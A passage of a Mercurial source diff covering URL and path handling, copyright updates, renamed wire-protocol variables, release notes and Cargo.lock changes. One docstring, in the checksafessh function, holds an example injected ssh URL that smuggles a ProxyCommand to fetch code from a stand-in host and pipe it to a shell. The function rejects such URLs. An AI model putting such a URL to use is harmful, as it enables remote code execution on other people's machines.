path = self.path or b'/' + # For Windows, we need to promote hosts containing drive + # letters to paths with drive letters. + if hasdriveletter(self._hostport): + path = self._hostport + b'/' + self.path + elif ( + self.host is not None and self.path and not hasdriveletter(path) + ): + path = b'/' + path + return path + return self._origpath + + def islocal(self): + '''whether localpath will return something that posixfile can open''' + return ( + not self.scheme + or self.scheme == b'file' + or self.scheme == b'bundle' + ) + + +def hasscheme(path): + # type: (bytes) -> bool + return bool(url(path).scheme) # cast to help pytype + + +def hasdriveletter(path): + # type: (bytes) -> bool + return bool(path) and path[1:2] == b':' and path[0:1].isalpha() + + +def urllocalpath(path): + # type: (bytes) -> bytes + return url(path, parsequery=False, parsefragment=False).localpath() + + +def checksafessh(path): + # type: (bytes) -> None + """check if a path / url is a potentially unsafe ssh exploit (SEC) + + This is a sanity check for ssh urls. ssh will parse the first item as + an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. + Let's prevent these potentially exploited urls entirely and warn the + user. + + Raises an error.Abort when the url is unsafe. + """ + path = urlreq.unquote(path) + if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): + raise error.Abort( + _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) + ) + + +def hidepassword(u): + # type: (bytes) -> bytes + '''hide user credential in a url string''' + u = url(u) + if u.passwd: + u.passwd = b'***' + return bytes(u) + + +def removeauth(u): + # type: (bytes) -> bytes + '''remove all authentication information from a url string''' + u = url(u) + u.user = u.passwd = None + return bytes(u) + + +def get_push_paths(repo, ui, dests): + """yields all the `path` selected as push destination by `dests`""" + if not dests: + if b'default-push' in ui.paths: + yield ui.paths[b'default-push'] + elif b'default' in ui.paths: + yield ui.paths[b'default'] + else: + raise error.ConfigError( + _(b'default repository not configured!'), + hint=_(b"see 'hg help config.paths'"), + ) + else: + for dest in dests: + yield ui.getpath(dest) + + +def get_pull_paths(repo, ui, sources, default_branches=()): + """yields all the `(path, branch)` selected as pull source by `sources`""" + if not sources: + sources = [b'default'] + for source in sources: + if source in ui.paths: + url = ui.paths[source].rawloc + else: + # Try to resolve as a local path or URI. + try: + # we pass the ui instance are warning might need to be issued + url = path(ui, None, rawloc=source).rawloc + except ValueError: + url = source + yield parseurl(url, default_branches) + + +def get_unique_push_path(action, repo, ui, dest=None): + """return a unique `path` or abort if multiple are found + + This is useful for command and action that does not support multiple + destination (yet). + + Note that for now, we cannot get multiple destination so this function is "trivial". + + The `action` parameter will be used for the error message. + """ + if dest is None: + dests = [] + else: + dests = [dest] + dests = list(get_push_paths(repo, ui, dests)) + assert len(dests) == 1 + return dests[0] + + +def get_unique_pull_path(action, repo, ui, source=None, default_branches=()): + """return a unique `(path, branch)` or abort if multiple are found + + This is useful for command and action that does not support multiple + destination (yet). + + Note that for now, we cannot get multiple destination so this function is "trivial". + + The `action` parameter will be used for the error message. + """ + if source is None: + if b'default' in ui.paths: + url = ui.paths[b'default'].rawloc + else: + # XXX this is the historical default behavior, but that is not + # great, consider breaking BC on this. + url = b'default' + else: + if source in ui.paths: + url = ui.paths[source].rawloc + else: + # Try to resolve as a local path or URI. + try: + # we pass the ui instance are warning might need to be issued + url = path(ui, None, rawloc=source).rawloc + except ValueError: + url = source + return parseurl(url, default_branches) + + +def get_clone_path(ui, source, default_branches=()): + """return the `(origsource, path, branch)` selected as clone source""" + if source is None: + if b'default' in ui.paths: + url = ui.paths[b'default'].rawloc + else: + # XXX this is the historical default behavior, but that is not + # great, consider breaking BC on this. + url = b'default' + else: + if source in ui.paths: + url = ui.paths[source].rawloc + else: + # Try to resolve as a local path or URI. + try: + # we pass the ui instance are warning might need to be issued + url = path(ui, None, rawloc=source).rawloc + except ValueError: + url = source + clone_path, branch = parseurl(url, default_branches) + return url, clone_path, branch + + +def parseurl(path, branches=None): + '''parse url#branch, returning (url, (branch, branches))''' + u = url(path) + branch = None + if u.fragment: + branch = u.fragment + u.fragment = None + return bytes(u), (branch, branches or []) + + +class paths(dict): + """Represents a collection of paths and their configs. + + Data is initially derived from ui instances and the config files they have + loaded. + """ + + def __init__(self, ui): + dict.__init__(self) + + for name, loc in ui.configitems(b'paths', ignoresub=True): + # No location is the same as not existing. + if not loc: + continue + loc, sub_opts = ui.configsuboptions(b'paths', name) + self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts) + + for name, p in sorted(self.items()): + p.chain_path(ui, self) + + def getpath(self, ui, name, default=None): + """Return a ``path`` from a string, falling back to default. + + ``name`` can be a named path or locations. Locations are filesystem + paths or URIs. + + Returns None if ``name`` is not a registered path, a URI, or a local + path to a repo. + """ + # Only fall back to default if no path was requested. + if name is None: + if not default: + default = () + elif not isinstance(default, (tuple, list)): + default = (default,) + for k in default: + try: + return self[k] + except KeyError: + continue + return None + + # Most likely empty string. + # This may need to raise in the future. + if not name: + return None + + try: + return self[name] + except KeyError: + # Try to resolve as a local path or URI. + try: + # we pass the ui instance are warning might need to be issued + return path(ui, None, rawloc=name) + except ValueError: + raise error.RepoError(_(b'repository %s does not exist') % name) + + +_pathsuboptions = {} + + +def pathsuboption(option, attr): + """Decorator used to declare a path sub-option. + + Arguments are the sub-option name and the attribute it should set on + ``path`` instances. + + The decorated function will receive as arguments a ``ui`` instance, + ``path`` instance, and the string value of this option from the config. + The function should return the value that will be set on the ``path`` + instance. + + This decorator can be used to perform additional verification of + sub-options and to change the type of sub-options. + """ + + def register(func): + _pathsuboptions[option] = (attr, func) + return func + + return register + + +@pathsuboption(b'pushurl', b'pushloc') +def pushurlpathoption(ui, path, value): + u = url(value) + # Actually require a URL. + if not u.scheme: + ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name) + return None + + # Don't support the #foo syntax in the push URL to declare branch to + # push. + if u.fragment: + ui.warn( + _( + b'("#fragment" in paths.%s:pushurl not supported; ' + b'ignoring)\n' + ) + % path.name + ) + u.fragment = None + + return bytes(u) + + +@pathsuboption(b'pushrev', b'pushrev') +def pushrevpathoption(ui, path, value): + return value + + +class path(object): + """Represents an individual path and its configuration.""" + + def __init__(self, ui, name, rawloc=None, suboptions=None): + """Construct a path from its config options. + + ``ui`` is the ``ui`` instance the path is coming from. + ``name`` is the symbolic name of the path. + ``rawloc`` is the raw location, as defined in the config. + ``pushloc`` is the raw locations pushes should be made to. + + If ``name`` is not defined, we require that the location be a) a local + filesystem path with a .hg directory or b) a URL. If not, + ``ValueError`` is raised. + """ + if not rawloc: + raise ValueError(b'rawloc must be defined') + + # Locations may define branches via syntax #. + u = url(rawloc) + branch = None + if u.fragment: + branch = u.fragment + u.fragment = None + + self.url = u + # the url from the config/command line before dealing with `path://` + self.raw_url = u.copy() + self.branch = branch + + self.name = name + self.rawloc = rawloc + self.loc = b'%s' % u + + self._validate_path() + + _path, sub_opts = ui.configsuboptions(b'paths', b'*') + self._own_sub_opts = {} + if suboptions is not None: + self._own_sub_opts = suboptions.copy() + sub_opts.update(suboptions) + self._all_sub_opts = sub_opts.copy() + + self._apply_suboptions(ui, sub_opts) + + def chain_path(self, ui, paths): + if self.url.scheme == b'path': + assert self.url.path is None + try: + subpath = paths[self.url.host] + except KeyError: + m = _(b'cannot use `%s`, "%s" is not a known path') + m %= (self.rawloc, self.url.host) + raise error.Abort(m) + if subpath.raw_url.scheme == b'path': + m = _(b'cannot use `%s`, "%s" is also defined as a `path://`') + m %= (self.rawloc, self.url.host) + raise error.Abort(m) + self.url = subpath.url + self.rawloc = subpath.rawloc + self.loc = subpath.loc + if self.branch is None: + self.branch = subpath.branch + else: + base = self.rawloc.rsplit(b'#', 1)[0] + self.rawloc = b'%s#%s' % (base, self.branch) + suboptions = subpath._all_sub_opts.copy() + suboptions.update(self._own_sub_opts) + self._apply_suboptions(ui, suboptions) + + def _validate_path(self): + # When given a raw location but not a symbolic name, validate the + # location is valid. + if ( + not self.name + and not self.url.scheme + and not self._isvalidlocalpath(self.loc) + ): + raise ValueError( + b'location is not a URL or path to a local ' + b'repo: %s' % self.rawloc + ) + + def _apply_suboptions(self, ui, sub_options): + # Now process the sub-options. If a sub-option is registered, its + # attribute will always be present. The value will be None if there + # was no valid sub-option. + for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions): + if suboption not in sub_options: + setattr(self, attr, None) + continue + + value = func(ui, self, sub_options[suboption]) + setattr(self, attr, value) + + def _isvalidlocalpath(self, path): + """Returns True if the given path is a potentially valid repository. + This is its own function so that extensions can change the definition of + 'valid' in this case (like when pulling from a git repo into a hg + one).""" + try: + return os.path.isdir(os.path.join(path, b'.hg')) + # Python 2 may return TypeError. Python 3, ValueError. + except (TypeError, ValueError): + return False + + @property + def suboptions(self): + """Return sub-options and their values for this path. + + This is intended to be used for presentation purposes. + """ + d = {} + for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions): + value = getattr(self, attr) + if value is not None: + d[subopt] = value + return d diff -r bc268ea9f984 -r f67b8946bb1b mercurial/verify.py --- a/mercurial/verify.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/verify.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # verify.py - repository integrity checking for Mercurial # -# Copyright 2006, 2007 Matt Mackall +# Copyright 2006, 2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -416,7 +416,7 @@ storefiles = set() subdirs = set() revlogv1 = self.revlogv1 - for f, f2, size in repo.store.datafiles(): + for t, f, f2, size in repo.store.datafiles(): if not f: self._err(None, _(b"cannot decode filename '%s'") % f2) elif (size > 0 or not revlogv1) and f.startswith(b'meta/'): @@ -480,7 +480,7 @@ ui.status(_(b"checking files\n")) storefiles = set() - for f, f2, size in repo.store.datafiles(): + for rl_type, f, f2, size in repo.store.datafiles(): if not f: self._err(None, _(b"cannot decode filename '%s'") % f2) elif (size > 0 or not revlogv1) and f.startswith(b'data/'): diff -r bc268ea9f984 -r f67b8946bb1b mercurial/vfs.py --- a/mercurial/vfs.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/vfs.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # vfs.py - Mercurial 'vfs' classes # -# Copyright Matt Mackall +# Copyright Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/win32.py --- a/mercurial/win32.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/win32.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # win32.py - utility functions that use win32 API # -# Copyright 2005-2009 Matt Mackall and others +# Copyright 2005-2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/windows.py --- a/mercurial/windows.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/windows.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # windows.py - Windows utility function implementations for Mercurial # -# Copyright 2005-2009 Matt Mackall and others +# Copyright 2005-2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/wireprotoserver.py --- a/mercurial/wireprotoserver.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/wireprotoserver.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,5 +1,5 @@ # Copyright 21 May 2005 - (c) 2005 Jake Edge -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/wireprotov1peer.py --- a/mercurial/wireprotov1peer.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/wireprotov1peer.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # wireprotov1peer.py - Client-side functionality for wire protocol version 1. # -# Copyright 2005-2010 Matt Mackall +# Copyright 2005-2010 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -43,14 +43,14 @@ @batchable def sample(self, one, two=None): # Build list of encoded arguments suitable for your wire protocol: - encargs = [('one', encode(one),), ('two', encode(two),)] + encoded_args = [('one', encode(one),), ('two', encode(two),)] # Create future for injection of encoded result: - encresref = future() + encoded_res_future = future() # Return encoded arguments and future: - yield encargs, encresref + yield encoded_args, encoded_res_future # Assuming the future to be filled with the result from the batched # request now. Decode it: - yield decode(encresref.value) + yield decode(encoded_res_future.value) The decorator returns a function which wraps this coroutine as a plain method, but adds the original method as an attribute called "batchable", @@ -60,12 +60,12 @@ def plain(*args, **opts): batchable = f(*args, **opts) - encargsorres, encresref = next(batchable) - if not encresref: - return encargsorres # a local result in this case + encoded_args_or_res, encoded_res_future = next(batchable) + if not encoded_res_future: + return encoded_args_or_res # a local result in this case self = args[0] cmd = pycompat.bytesurl(f.__name__) # ensure cmd is ascii bytestr - encresref.set(self._submitone(cmd, encargsorres)) + encoded_res_future.set(self._submitone(cmd, encoded_args_or_res)) return next(batchable) setattr(plain, 'batchable', f) @@ -257,15 +257,15 @@ # Encoded arguments and future holding remote result. try: - encargsorres, fremote = next(batchable) + encoded_args_or_res, fremote = next(batchable) except Exception: pycompat.future_set_exception_info(f, sys.exc_info()[1:]) return if not fremote: - f.set_result(encargsorres) + f.set_result(encoded_args_or_res) else: - requests.append((command, encargsorres)) + requests.append((command, encoded_args_or_res)) states.append((command, f, batchable, fremote)) if not requests: @@ -310,7 +310,7 @@ if not f.done(): f.set_exception( error.ResponseError( - _(b'unfulfilled batch command response') + _(b'unfulfilled batch command response'), None ) ) @@ -322,16 +322,27 @@ for command, f, batchable, fremote in states: # Grab raw result off the wire and teach the internal future # about it. - remoteresult = next(wireresults) - fremote.set(remoteresult) + try: + remoteresult = next(wireresults) + except StopIteration: + # This can happen in particular because next(batchable) + # in the previous iteration can call peer._abort, which + # may close the peer. + f.set_exception( + error.ResponseError( + _(b'unfulfilled batch command response'), None + ) + ) + else: + fremote.set(remoteresult) - # And ask the coroutine to decode that value. - try: - result = next(batchable) - except Exception: - pycompat.future_set_exception_info(f, sys.exc_info()[1:]) - else: - f.set_result(result) + # And ask the coroutine to decode that value. + try: + result = next(batchable) + except Exception: + pycompat.future_set_exception_info(f, sys.exc_info()[1:]) + else: + f.set_result(result) @interfaceutil.implementer( diff -r bc268ea9f984 -r f67b8946bb1b mercurial/wireprotov1server.py --- a/mercurial/wireprotov1server.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/wireprotov1server.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # wireprotov1server.py - Wire protocol version 1 server functionality # -# Copyright 2005-2010 Matt Mackall +# Copyright 2005-2010 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -27,6 +27,7 @@ exchange, pushkey as pushkeymod, pycompat, + requirements as requirementsmod, streamclone, util, wireprototypes, @@ -108,7 +109,7 @@ 4. server.bundle1 """ ui = repo.ui - gd = b'generaldelta' in repo.requirements + gd = requirementsmod.GENERALDELTA_REQUIREMENT in repo.requirements if gd: v = ui.configbool(b'server', b'bundle1gd.%s' % action) @@ -310,7 +311,7 @@ caps.append(b'stream-preferred') requiredformats = repo.requirements & repo.supportedformats # if our local revlogs are just revlogv1, add 'stream' cap - if not requiredformats - {b'revlogv1'}: + if not requiredformats - {requirementsmod.REVLOGV1_REQUIREMENT}: caps.append(b'stream') # otherwise, add 'streamreqs' detailing our local revlog format else: diff -r bc268ea9f984 -r f67b8946bb1b mercurial/wireprotov2server.py --- a/mercurial/wireprotov2server.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/wireprotov2server.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,5 +1,5 @@ # Copyright 21 May 2005 - (c) 2005 Jake Edge -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -1582,7 +1582,8 @@ # TODO this is a bunch of storage layer interface abstractions because # it assumes revlogs. - for name, encodedname, size in topfiles: + for rl_type, name, encodedname, size in topfiles: + # XXX use the `rl_type` for that if b'changelog' in files and name.startswith(b'00changelog'): pass elif b'manifestlog' in files and name.startswith(b'00manifest'): diff -r bc268ea9f984 -r f67b8946bb1b mercurial/worker.py --- a/mercurial/worker.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/worker.py Tue Apr 20 11:01:06 2021 -0400 @@ -442,7 +442,7 @@ we ever write workers that need to preserve grouping in input we should consider allowing callers to specify a partition strategy. - mpm is not a fan of this partitioning strategy when files are involved. + olivia is not a fan of this partitioning strategy when files are involved. In his words: Single-threaded Mercurial makes a point of creating and visiting diff -r bc268ea9f984 -r f67b8946bb1b pyproject.toml --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/pyproject.toml Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,18 @@ +[build-system] +requires = ["setuptools", "wheel"] +build-backend = "setuptools.build_meta" + +[tool.black] +line-length = 80 +exclude = ''' +build/ +| wheelhouse/ +| dist/ +| packages/ +| \.hg/ +| \.mypy_cache/ +| \.venv/ +| mercurial/thirdparty/ +''' +skip-string-normalization = true +quiet = true diff -r bc268ea9f984 -r f67b8946bb1b relnotes/5.7 --- a/relnotes/5.7 Thu Mar 25 19:06:28 2021 -0400 +++ b/relnotes/5.7 Tue Apr 20 11:01:06 2021 -0400 @@ -17,6 +17,8 @@ can be e.g. `rebase`. As part of this effort, the default format from `hg rebase` was reorganized a bit. + * `hg purge` is now a core command using `--confirm` by default. + * `hg diff` and `hg extdiff` now support `--from ` and `--to ` arguments as clearer alternatives to `-r `. `-r ` has been deprecated. @@ -43,6 +45,9 @@ * The `branchmap` cache is updated more intelligently and can be significantly faster for repositories with many branches and changesets. + * The `rev-branch-cache` is now updated incrementally whenever changesets + are added. + == New Experimental Features == @@ -64,4 +69,5 @@ == Internal API Changes == - + * `changelog.branchinfo` is deprecated and will be removed after 5.8. + It is superseded by `changelogrevision.branchinfo`. diff -r bc268ea9f984 -r f67b8946bb1b relnotes/next --- a/relnotes/next Thu Mar 25 19:06:28 2021 -0400 +++ b/relnotes/next Tue Apr 20 11:01:06 2021 -0400 @@ -1,8 +1,24 @@ == New Features == + + * `hg purge` is now a core command using `--confirm` by default. + + * The `rev-branch-cache` is now updated incrementally whenever changesets + are added. + * The new options `experimental.bundlecompthreads` and + `experimental.bundlecompthreads.` can be used to instruct + the compression engines for bundle operations to use multiple threads + for compression. The default is single threaded operation. Currently + only supported for zstd. == New Experimental Features == + * There's a new `diff.merge` config option to show the changes + relative to an automerge for merge changesets. This makes it + easier to detect and review manual changes performed in merge + changesets. It is supported by `hg diff --change`, `hg log -p` + `hg incoming -p`, and `hg outgoing -p` so far. + == Bug Fixes == @@ -10,7 +26,24 @@ == Backwards Compatibility Changes == + * In normal repositories, the first parent of a changeset is not null, + unless both parents are null (like the first changeset). Some legacy + repositories violate this condition. The revlog code will now + silentely swap the parents if this condition is tested. This can + change the output of `hg log` when explicitly asking for first or + second parent. + == Internal API Changes == + * `changelog.branchinfo` is deprecated and will be removed after 5.8. + It is superseded by `changelogrevision.branchinfo`. + * Callbacks for revlog.addgroup and the changelog._nodeduplicatecallback hook + now get a revision number as argument instead of a node. + + * revlog.addrevision returns the revision number instead of the node. + + * `nodes.nullid` and related constants are being phased out as part of + the deprecation of SHA1. Repository instances and related classes + provide access via `nodeconstants` and in some cases `nullid` attributes. diff -r bc268ea9f984 -r f67b8946bb1b rust/Cargo.lock --- a/rust/Cargo.lock Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/Cargo.lock Tue Apr 20 11:01:06 2021 -0400 @@ -4,1009 +4,1101 @@ name = "adler" version = "0.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee2a4ec343196209d6594e19543ae87a39f96d5534d7174822a3ad825dd6ed7e" [[package]] name = "aho-corasick" version = "0.7.15" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7404febffaa47dac81aa44dba71523c9d069b1bdc50a77db41195149e17f68e5" dependencies = [ - "memchr 2.3.4 (registry+https://github.com/rust-lang/crates.io-index)", + "memchr", ] [[package]] name = "ansi_term" version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee49baf6cb617b853aa8d93bf420db2383fab46d314482ca2803b40d5fde979b" dependencies = [ - "winapi 0.3.9 (registry+https://github.com/rust-lang/crates.io-index)", + "winapi", ] [[package]] name = "atty" version = "0.2.14" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" dependencies = [ - "hermit-abi 0.1.17 (registry+https://github.com/rust-lang/crates.io-index)", - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", - "winapi 0.3.9 (registry+https://github.com/rust-lang/crates.io-index)", + "hermit-abi", + "libc", + "winapi", ] [[package]] name = "autocfg" version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cdb031dd78e28731d87d56cc8ffef4a8f36ca26c38fe2de700543e627f8a464a" [[package]] name = "bitflags" version = "1.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf1de2fe8c75bc145a2f577add951f8134889b4795d47466a54a5c846d691693" [[package]] name = "bitmaps" version = "2.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "031043d04099746d8db04daf1fa424b2bc8bd69d92b25962dcde24da39ab64a2" dependencies = [ - "typenum 1.12.0 (registry+https://github.com/rust-lang/crates.io-index)", + "typenum", ] [[package]] name = "byteorder" version = "1.3.4" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08c48aae112d48ed9f069b33538ea9e3e90aa263cfa3d1c24309612b1f7472de" + +[[package]] +name = "bytes-cast" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3196ba300c7bc9282a4331e878496cb3e9603a898a8f1446601317163e16ca52" +dependencies = [ + "bytes-cast-derive", +] + +[[package]] +name = "bytes-cast-derive" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb936af9de38476664d6b58e529aff30d482e4ce1c5e150293d00730b0d81fdb" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] [[package]] name = "cc" version = "1.0.66" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c0496836a84f8d0495758516b8621a622beb77c0fed418570e50764093ced48" dependencies = [ - "jobserver 0.1.21 (registry+https://github.com/rust-lang/crates.io-index)", + "jobserver", ] [[package]] name = "cfg-if" version = "0.1.10" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822" [[package]] name = "cfg-if" version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "chrono" +version = "0.4.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "670ad68c9088c2a963aaa298cb369688cf3f9465ce5e2d4ca10e6e0098a1ce73" +dependencies = [ + "libc", + "num-integer", + "num-traits", + "time", + "winapi", +] [[package]] name = "clap" version = "2.33.3" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37e58ac78573c40708d45522f0d80fa2f01cc4f9b4e2bf749807255454312002" dependencies = [ - "ansi_term 0.11.0 (registry+https://github.com/rust-lang/crates.io-index)", - "atty 0.2.14 (registry+https://github.com/rust-lang/crates.io-index)", - "bitflags 1.2.1 (registry+https://github.com/rust-lang/crates.io-index)", - "strsim 0.8.0 (registry+https://github.com/rust-lang/crates.io-index)", - "textwrap 0.11.0 (registry+https://github.com/rust-lang/crates.io-index)", - "unicode-width 0.1.8 (registry+https://github.com/rust-lang/crates.io-index)", - "vec_map 0.8.2 (registry+https://github.com/rust-lang/crates.io-index)", + "ansi_term", + "atty", + "bitflags", + "strsim", + "textwrap", + "unicode-width", + "vec_map", ] [[package]] name = "const_fn" version = "0.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd51eab21ab4fd6a3bf889e2d0958c0a6e3a61ad04260325e919e652a2a62826" [[package]] name = "cpython" -version = "0.4.1" +version = "0.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f11357af68648b6a227e7e2384d439cec8595de65970f45e3f7f4b2600be472" dependencies = [ - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", - "num-traits 0.2.14 (registry+https://github.com/rust-lang/crates.io-index)", - "python27-sys 0.4.1 (registry+https://github.com/rust-lang/crates.io-index)", - "python3-sys 0.4.1 (registry+https://github.com/rust-lang/crates.io-index)", + "libc", + "num-traits", + "paste", + "python27-sys", + "python3-sys", ] [[package]] name = "crc32fast" version = "1.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81156fece84ab6a9f2afdb109ce3ae577e42b1228441eded99bd77f627953b1a" dependencies = [ - "cfg-if 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)", + "cfg-if 1.0.0", ] [[package]] name = "crossbeam-channel" version = "0.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b153fe7cbef478c567df0f972e02e6d736db11affe43dfc9c56a9374d1adfb87" dependencies = [ - "crossbeam-utils 0.7.2 (registry+https://github.com/rust-lang/crates.io-index)", - "maybe-uninit 2.0.0 (registry+https://github.com/rust-lang/crates.io-index)", + "crossbeam-utils 0.7.2", + "maybe-uninit", ] [[package]] name = "crossbeam-channel" version = "0.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dca26ee1f8d361640700bde38b2c37d8c22b3ce2d360e1fc1c74ea4b0aa7d775" dependencies = [ - "cfg-if 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)", - "crossbeam-utils 0.8.1 (registry+https://github.com/rust-lang/crates.io-index)", + "cfg-if 1.0.0", + "crossbeam-utils 0.8.1", ] [[package]] name = "crossbeam-deque" version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94af6efb46fef72616855b036a624cf27ba656ffc9be1b9a3c931cfc7749a9a9" dependencies = [ - "cfg-if 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)", - "crossbeam-epoch 0.9.1 (registry+https://github.com/rust-lang/crates.io-index)", - "crossbeam-utils 0.8.1 (registry+https://github.com/rust-lang/crates.io-index)", + "cfg-if 1.0.0", + "crossbeam-epoch", + "crossbeam-utils 0.8.1", ] [[package]] name = "crossbeam-epoch" version = "0.9.1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1aaa739f95311c2c7887a76863f500026092fb1dce0161dab577e559ef3569d" dependencies = [ - "cfg-if 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)", - "const_fn 0.4.4 (registry+https://github.com/rust-lang/crates.io-index)", - "crossbeam-utils 0.8.1 (registry+https://github.com/rust-lang/crates.io-index)", - "lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)", - "memoffset 0.6.1 (registry+https://github.com/rust-lang/crates.io-index)", - "scopeguard 1.1.0 (registry+https://github.com/rust-lang/crates.io-index)", + "cfg-if 1.0.0", + "const_fn", + "crossbeam-utils 0.8.1", + "lazy_static", + "memoffset", + "scopeguard", ] [[package]] name = "crossbeam-utils" version = "0.7.2" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3c7c73a2d1e9fc0886a08b93e98eb643461230d5f1925e4036204d5f2e261a8" dependencies = [ - "autocfg 1.0.1 (registry+https://github.com/rust-lang/crates.io-index)", - "cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)", - "lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)", + "autocfg", + "cfg-if 0.1.10", + "lazy_static", ] [[package]] name = "crossbeam-utils" version = "0.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02d96d1e189ef58269ebe5b97953da3274d83a93af647c2ddd6f9dab28cedb8d" dependencies = [ - "autocfg 1.0.1 (registry+https://github.com/rust-lang/crates.io-index)", - "cfg-if 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)", - "lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)", + "autocfg", + "cfg-if 1.0.0", + "lazy_static", ] [[package]] name = "ctor" version = "0.1.16" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7fbaabec2c953050352311293be5c6aba8e141ba19d6811862b232d6fd020484" dependencies = [ - "quote 1.0.7 (registry+https://github.com/rust-lang/crates.io-index)", - "syn 1.0.54 (registry+https://github.com/rust-lang/crates.io-index)", + "quote", + "syn", +] + +[[package]] +name = "derive_more" +version = "0.99.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41cb0e6161ad61ed084a36ba71fbba9e3ac5aee3606fb607fe08da6acbcf3d8c" +dependencies = [ + "proc-macro2", + "quote", + "syn", ] [[package]] name = "difference" version = "2.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "524cbf6897b527295dff137cec09ecf3a05f4fddffd7dfcd1585403449e74198" [[package]] name = "either" version = "1.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e78d4f1cc4ae33bbfc157ed5d5a5ef3bc29227303d595861deb238fcec4e9457" [[package]] name = "env_logger" version = "0.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44533bbbb3bb3c1fa17d9f2e4e38bbbaf8396ba82193c4cb1b6445d711445d36" dependencies = [ - "atty 0.2.14 (registry+https://github.com/rust-lang/crates.io-index)", - "humantime 1.3.0 